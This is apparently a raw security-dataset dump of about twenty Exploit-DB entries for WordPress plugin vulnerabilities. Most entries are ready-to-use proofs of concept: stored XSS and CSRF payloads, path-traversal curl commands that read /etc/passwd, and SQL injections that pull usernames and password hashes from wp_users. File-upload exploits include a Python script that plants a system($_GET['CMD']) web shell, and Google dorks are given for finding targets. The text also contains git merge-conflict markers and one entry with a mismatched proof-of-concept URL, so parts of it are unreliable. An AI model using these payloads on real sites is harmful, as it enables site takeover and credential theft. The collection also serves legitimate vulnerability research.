deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32867
Description: WordPress Plugin Quick Page/Post Redirect 5.0.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-04-14
Author: Tom Adams

Exploit:
Details
================
Software: Quick Page/Post Redirect Plugin
Version: 5.0.3
Homepage: http://wordpress.org/plugins/quick-pagepost-redirect-plugin/
Advisory ID: dxw-1970-1091
CVE: CVE-2014-2598
CVSS: 6.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:P)

Description
================
CSRF and stored XSS in Quick Page/Post Redirect Plugin

Vulnerability
================
This plugin is vulnerable to a combination CSRF/XSS attack meaning that if an admin user can be persuaded to visit a URL of the attacker’s choosing (via spear phishing for instance), the attacker can insert arbitrary JavaScript into an admin page. Once that occurs the admin’s browser can be made to do almost anything the admin user could typically do such as create/delete posts, create new admin users, or even exploit vulnerabilities in other plugins.

Proof of concept
================
Use the following form to introduce potentially malicious JavaScript:
<form method=\"POST\" action=\"http://localhost/wp-admin/admin.php?page=redirect-updates\">
  <input type=\"text\" name=\"quickppr_redirects[request][]\" value=\""><script>alert(1)</script>\">
  <input type=\"text\" name=\"quickppr_redirects[destination][]\" value=\"http://dxw.com/\">
  <Input type=\"text\" name=\"submit_301\" value=\"1\">
  <input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 5.0.5 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2014-03-21: Discovered
2014-03-24: Reported to plugins@wordpress.org
2014-04-07: No response; requested an alternative email address using the author’s contact form.
2014-04-08: Re-reported direct to author
2014-04-08: Author responded, and publication agreed on or before 2014-05-06
2014-04-10: Author reports issue fixed in version 5.0.5

<<<<<<< HEAD

Discovered by dxw:
================
Tom Adams
=======

Discovered by dxw:
================
Tom Adams
>>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464
Please visit security.dxw.com for more information.
Exploit-DB #29020
Description: WordPress Plugin Quick Paypal Payments 3.0 - Presistant Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-10-17
Author: Zy0d0x

Exploit:
TITLE
=====

Quick Paypal Payments - Persistent Cross Site Scripting Vulnerability


AUTHOR
======

Zy0d0x


BLOG
====

https://zy0d0x.com

DATE
====

10/08/2013

VENDOR
======

Quick Plugins - http://quick-plugins.com/


AFFECTED PRODUCT
================

Quick Paypal Payments  Wordpress Plugin Version 3.0 possibly earlier


VULNERABILITY CLASS
===================

Cross-Site Scripting


DESCRIPTION
===========


Quick Paypal Payments suffers from a persistent Cross-Site Scripting vulnerability due to a lack
of input validation and output sanitization of the "reference" and "amount" paramaters.
Other input fields are also effective to reflective cross site scripting.


PROOF OF CONCEPT
================

Enter the following into the field where Quick Paypal Payments requests a Payment reference.

--- SNIP ---

"><script>alert(String.fromCharCode(90,121,48,100,48,120))</script><

--- SNIP ---

If the message has been sent successfully a alert diolog will apear containing Zy0d0x when an user checks there message in the dashboard.


IMPACT
======

An attacker could potentially hijack session authentication tokes of remote users and leverage the
vulnerability to increase the attack vector to the underlying software and operating system of the victim.


THREAT LEVEL
============

High


STATUS
======

Not Fixed
Exploit-DB #45307
Description: WordPress Plugin Quizlord 2.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-08-30
Author: Renos Nikolaou

Exploit:
# Exploit Title: WordPress Plugin Quizlord 2.0 - Cross-Site Scripting
# Date: 2018-08-29
# Exploit Author: Renos Nikolaou
# Software Link: https://downloads.wordpress.org/plugin/quizlord.zip
# Version: 2.0
# Tested on: Kali Linux
# CVE: N/A
# Description : Quizlord is prone to Stored Cross Site Scripting vulnerabilities 
# because it fails to properly sanitize user-supplied input.

# PoC - Stored XSS - Parameter: title
# 1) Login as a user who have access to Jibu Pro plugin.
# 2) Quizlord --> Add a Quiz.
# 3) At the title type: poc"><script>alert(1)</script>  , then fill the remaining fields and click Save. 
#   (The first pop-up will appear. Also keep note of the shortcode: [quizlord id="#"])
# 4) Copy the Shortcode [quizlord id="#"] into any post or page and visit the it via browser.

# Post Request (Step 3):

POST /wordpress/wp-admin/admin.php HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain.com/wordpress/wp-admin/admin.php?page=quizlord
Cookie: wordpress_295cdc576d46a74a4105db5d33654g45
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 188

action=ql_insert&title=poc"><script>alert(1)</script>&description=&time=0&numbtype=numerical&numbmark=&rightcolor=00FF00&wrongcolor=FF0000&showtype=paginated&addquiz=Save
Exploit-DB #35476
Description: WordPress Plugin Rating-Widget 1.3.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-17
Author: Todor Donev

Exploit:
source: https://www.securityfocus.com/bid/46904/info

Rating-Widget is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Rating-Widget 1.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/rating-widget/view/rating.php?vars[type]=[xss]
http://www.example.com/plugins/rating-widget/view/availability_options.php?selected_key=[xss]
http://www.example.com/wp-content/plugins/rating-widget/view/save.php?rw_form_hidden_field_name=[xss]
Exploit-DB #40333
Description: WordPress Plugin RB Agency 2.4.7 - Local File Disclosure
Type: webapps
Platform: php
Date: 2016-09-05
Author: Persian Hack Team

Exploit:
######################
# Exploit Title : WordPress RB Agency 2.4.7 Plugin - Local File Disclosure
# Exploit Author :  Persian Hack Team
# Vendor Homepage : http://rbplugin.com/
# Category [ Webapps ]
# Tested on [ Win ]
# Version : 2.4.7
# Date 2016/09/03
######################

PoC
The Vulnerable page is
/ext/forcedownload.php

http://server/wp-content/plugins/rb-agency/ext/forcedownload.php?file=../../../../../../../../etc/passwd 
Youtube:https://youtu.be/5kE8Xt-My9A


######################
# Discovered by :  Mojtaba MobhaM Mail:Kazemimojtaba@live.com
# B3li3v3 M3 I will n3v3r St0p
# Greetz : T3NZOG4N & FireKernel & Dr.Askarzade & Masood Ostad & Dr.Koorangi &  Milad Hacking & JOK3R $ Mr_Mask_Black And All Persian Hack Team Members
# Homepage : http://persian-team.ir
######################
Exploit-DB #19019
Description: WordPress Plugin RBX Gallery 2.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-08
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - RBX Gallery Multiple Arbitrary File 
Upload Vulnerability
# Version : 2.1
# Link : http://wordpress.org/extend/plugins/rbxgallery/
# Plugins : http://downloads.wordpress.org/plugin/rbxgallery.2.1.zip
# Date : 03-06-2012
# Google Dork : inurl:/wp-content/plugins/rbxgallery/
# Author : Sammy FORGIT - sam at opensyscom dot fr - 
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php";
$uploadfile2="db.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/rbxgallery/uploader.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('images[0]'=>"@$uploadfile",
                'images[1]'=>"@$uploadfile2",
                'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/rbxslider/lo.php
http://www.exemple.com/wordpress/wp-content/uploads/rbxslider/db.php

lo.php
<?php
phpinfo();
?>
Exploit-DB #37209
Description: WordPress Plugin Really Simple Guest Post 1.0.6 - Local File Inclusion
Type: webapps
Platform: php
Date: 2015-06-05
Author: Kuroi'SH

Exploit:
# Exploit Title: Wordpress Really Simple Guest Post File Include
# Google Dork: inurl:"really-simple-guest-post" intitle:"index of"
# Date: 04/06/2015
# Exploit Author: Kuroi'SH
# Software Link: https://wordpress.org/plugins/really-simple-guest-post/
# Version: <=1.0.6
# Tested on: Linux

The vulnerable file is called:
simple-guest-post-submit.php and its full path is
/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
The vulnerable code is as follows:
(line 8)
require_once($_POST["rootpath"]);
As you can see, the require_once function includes a data based on
user-input without any prior verification.
So, an attacker can exploit this flaw and come directly into the url
/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
and send a post data like: "rootpath=the_file_to_include"

Proof of concept:
curl -X POST -F "rootpath=/etc/passwd" --url
http://localhost/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php
which will print out the content of /etc/passwd file.

Greats to Black Sniper & Moh Ooasiic
by Kuroi'SH
Exploit-DB #29021
Description: WordPress Plugin Realty - Blind SQL Injection
Type: webapps
Platform: php
Date: 2013-10-17
Author: Napsterakos

Exploit:
 $$$$$$\      $$\   $$\     $$$$$$\  
$$  __$$\     $$ |  $$ |   $$  __$$\ 
$$ /  \__|    $$ |  $$ |   $$ /  \__|
$$ |$$$$\     $$$$$$$$ |   \$$$$$$\  
$$ |\_$$ |    $$  __$$ |    \____$$\ 
$$ |  $$ |    $$ |  $$ |   $$\   $$ |
\$$$$$$  |$$\ $$ |  $$ |$$\\$$$$$$  |
 \______/ \__|\__|  \__|\__|\______/ 
 
# Exploit Title: Wordpress - wp-realty - MySQL Time Based Injection
# Google Dork: inurl:"/wp-content/plugins/wp-realty/"
# Vendor: http://wprealty.org/
# Date: 10/08/2013
# Exploit Author: Napsterakos


Link: http://localhost/wordpress/wp-content/plugins/wp-realty/

Exploit: http://localhost/wordpress/wp-content/plugins/wp-realty/index_ext.php?action=contact_friend&popup=yes&listing_id=[SQLi]


Credits to: Greek Hacking Scene
Exploit-DB #37752
Description: WordPress Plugin Recent Backups 0.7 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2015-08-10
Author: Larry W. Cashdollar

Exploit:
Title: Remote file download vulnerability in recent-backups v0.7 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-13
Download Site: https://wordpress.org/plugins/recent-backups
Vendor: https://profiles.wordpress.org/andycheeseman/
Vendor Notified: 0000-00-00
Vendor Contact: plugins@wordpress.org
Description: To be used with the BackupWordPress plugin to list the contents of the backup directory in a dashboard widget.
Vulnerability:
The code in  download-file.php doesn't verify the user is logged in or sanitize what files can be downloaded.  This vulnerability can be used
to download sensitive system files:

     2  $file = $_GET['file_link'];
     3  
     4  if (file_exists($file)) {
     5      header('Content-Description: File Transfer');
     6      header('Content-Type: application/octet-stream');
     7      header('Content-Disposition: attachment; filename='.basename($file));
     8      header('Content-Transfer-Encoding: binary');
     9      header('Expires: 0');
    10      header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    11      header('Pragma: public');
    12      header('Content-Length: ' . filesize($file));
    13      ob_clean();
    14      flush();
    15      readfile($file);

CVEID:
OSVDB:
Exploit Code:
  • $ curl -v "http://server/wp-content/plugins/recent-backups/download-file.php?file_link=/etc/passwd
Exploit-DB #35265
Description: WordPress Plugin Recip.ly 1.1.7 - 'uploadImage.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-01-25
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46002/info

WordPress Recip.ly is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

WordPress Recip.ly 1.1.7 and prior versions are vulnerable. 

import socket

host = &#039;localhost&#039;
path = &#039;/wordpress&#039;
shell_path = path + &#039;/wp-content/plugins/reciply/images/shell.php&#039;
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send(&#039;POST &#039; + path + &#039;/wp-content/plugins/reciply/uploadImage.php HTTP/1.1\r\n&#039;
           &#039;Host: localhost\r\n&#039;
           &#039;Proxy-Connection: keep-alive\r\n&#039;
           &#039;User-Agent: x\r\n&#039;
           &#039;Content-Length: 195\r\n&#039;
           &#039;Cache-Control: max-age=0\r\n&#039;
           &#039;Origin: null\r\n&#039;
           &#039;Content-Type: multipart/form-data; boundary=----x\r\n&#039;
           &#039;Accept: text/html\r\n&#039;
           &#039;Accept-Encoding: gzip,deflate,sdch\r\n&#039;
           &#039;Accept-Language: en-US,en;q=0.8\r\n&#039;
           &#039;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n&#039;
           &#039;\r\n&#039;
           &#039;------x\r\n&#039;
           &#039;Content-Disposition: form-data; name="shell_file"; filename="shell.php"\r\n&#039;
           &#039;Content-Type: application/octet-stream\r\n&#039;
           &#039;\r\n&#039;
           &#039;<?php echo \&#039;<pre>\&#039; + system($_GET[\&#039;CMD\&#039;]) + \&#039;</pre>\&#039;; ?>\r\n&#039;
           &#039;------x--\r\n&#039;
           &#039;\r\n&#039;)

    resp = s.recv(8192)

    http_ok = &#039;HTTP/1.1 200 OK&#039;
    
    if http_ok not in resp[:len(http_ok)]:
        print &#039;error uploading shell&#039;
        return
    else: print &#039;shell uploaded&#039;

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)  
    s.send(&#039;GET &#039; + shell_path + &#039; HTTP/1.1\r\n&#039;\
           &#039;Host: &#039; + host + &#039;\r\n\r\n&#039;)

    if http_ok not in s.recv(8192)[:len(http_ok)]: print &#039;shell not found&#039;        
    else: print &#039;shell located at http://&#039; + host + shell_path

upload_shell()
Exploit-DB #31228
Description: WordPress Plugin Recipes Blog - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-18
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27856/info

The WordPress Recipes Blog plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/recipe/wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users
Exploit-DB #49903
Description: WordPress Plugin ReDi Restaurant Reservation 21.0307 - 'Comment' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-05-24
Author: Bastijn Ouwendijk

Exploit:
# Exploit Title: WordPress Plugin ReDi Restaurant Reservation 21.0307 - 'Comment' Stored Cross-Site Scripting (XSS)
# Date: 2021-05-10
# Exploit Author: Bastijn Ouwendijk
# Vendor Homepage: https://reservationdiary.eu/
# Software Link: https://wordpress.org/plugins/redi-restaurant-reservation/
# Version: 21.0307 and earlier
# Tested on: Windows 10
# CVE : CVE-2021-24299
# Proof: https://bastijnouwendijk.com/cve-2021-24299/

Steps to exploit this vulnerability:

1. Go to the page where [redirestaurant] is embed to make a restaurant reservation by filling in the requested information
2. In the 'Comment' field of the restaurant reservation form put the payload: `<script>alert("XSS")</script>`
3. Submit the form
4. While being logged into WordPress as administrator go to ReDi Reservations > Upcoming (Tablet PC)
5. Click on 'View upcoming reservations'
6. Select for 'Show reservations for': 'This week'
7. The reservations are loaded and two alerts are shown with text 'XSS'
Exploit-DB #50350
Description: WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-09-29
Author: 0xB9

Exploit:
# Exploit Title: WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting (XSS)
# Date: 2/3/2021
# Author: 0xB9
# Software Link: https://downloads.wordpress.org/plugin/redirect-404-to-parent.1.3.0.zip
# Version: 1.3.0
# Tested on: Windows 10
# CVE: CVE-2021-24286

1. Description:
This plugin redirects any 404 request to the parent URL. The tab parameter in the Admin Panel is vulnerable to XSS.

2. Proof of Concept:
wp-admin/options-general.php?page=moove-redirect-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/);
Exploit-DB #36374
Description: WordPress Plugin Reflex Gallery 3.1.3 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-03-08
Author: CrashBandicot

Exploit:
# Exploit Title: Wordpress Plugin Reflex Gallery - Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/reflex-gallery/
# Date: 08.03.2015
# Exploit Author: CrashBandicot @DosPerl
# Vendor Homepage: https://wordpress.org/plugins/reflex-gallery/
# Software Link: https://downloads.wordpress.org/plugin/reflex-gallery.zip
# Version: 3.1.3 (Last)
# Tested on: Windows
 
# p0C : http://i.imgur.com/mj8yADU.png
 
# Path : wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php
# add Month and Year in GET for Folder of Shell ./wp-content/uploads/" .$_GET['Year'].'/'.$_GET['Month']. "
  
Vulnerable File : php.php
50.      if(!move_uploaded_file($_FILES['qqfile']['tmp_name'], $path)){
173.         $result = $uploader->handleUpload('../../../../../uploads/'.$_GET['Year'].'/'.$_GET['Month'].'/');
 
 
# Exploit :
 
<form method="POST" action="http://127.0.0.1:1337/wordpress/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2015&Month=03" enctype="multipart/form-data" >
    <input type="file" name="qqfile"><br>
    <input type="submit" name="Submit" value="Pwn!">
</form>
 
 
# Shell Path : http://127.0.0.1:1337/wordpress/wp-content/uploads/2015/03/backdoor.php
Exploit-DB #9054
Description: WordPress Plugin Related Sites 2.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-30
Author: eLwaux

Exploit:
WordPress Plugin Related Sites 2.1 BlindSQLinj Vuln



http://wordpress.org/extend/plugins/related-sites/
/wp-content/plugins/related-sites/BTE_RW_webajax.php

eLwaux(c) 30.05.2009, uasc.org.ua


SQL-Inj

27:  $guid = $_POST['guid'];
28:  $click = $_POST['click'];
31:  $ref = $_SERVER["HTTP_REFERER"];
40:  if ($guid!="" && $click!="" && $hostname!="" && $ipaddr!="" && $ref!="") {
53:   $sql = "INSERT INTO $clicks_table_name (guid,click) VALUES ('$guid','$clickinfo')";
55:  }

exploit:
POST: guid = 0', (select concat_ws(0x3a,user_login,user_pass,user_nicename,user_email) from wp_users where ID>0 and user_status=0 limit 1 ) );-- 
POST: click = .
HTTP_REFERER = .

# milw0rm.com [2009-06-30]
Exploit-DB #39109
Description: WordPress Plugin Relevanssi - 'category_name' SQL Injection
Type: webapps
Platform: php
Date: 2014-03-04
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/65960/info

Relevanssi plugin for WordPress is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Versions prior to Relevanssi 3.3 are vulnerable. 

http://www.example.com/wordpress/wp-content/plugins/wp-realty/index_ext.php?action=contact_friend&popup=yes&listing_id=[SQLi
Exploit-DB #16233
Description: WordPress Plugin Relevanssi 2.7.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-02-24
Author: Saif El-Sherei

Exploit:
# Exploit Title: Relevanssi User Searches WordPress plugin Stored XSS
# Date: 20-2-2011
# Author: Saif El-Sherei
# Software Link: http://downloads.wordpress.org/plugin/relevanssi.2.7.2.zip
# Version: Relevanssi 2.7.2, WordPress 3.0.5
# Tested on: FireFox 3.6.13, IE 8
# Vendor Response: plugin author released an update to fix this issue

Info:

Relevanssi replaces the standard WordPress search with a better search
engine, with lots of features and configurable options. You'll get better
results, better presentation of results - your users will thank you.
downloaded 34,3963 times.

Details:

Log search queries must be enabled in the plugin settings; A stored XSS
vulnerability exists due to "search Query" variable is displayed & logged
unsanitized in the "User Searches" section in the admin Dashboard, allowing
an attacker to inject malicious HTML code.


POC:

<script>alert('XSS');</script>

Solution:

Update to latest plugin version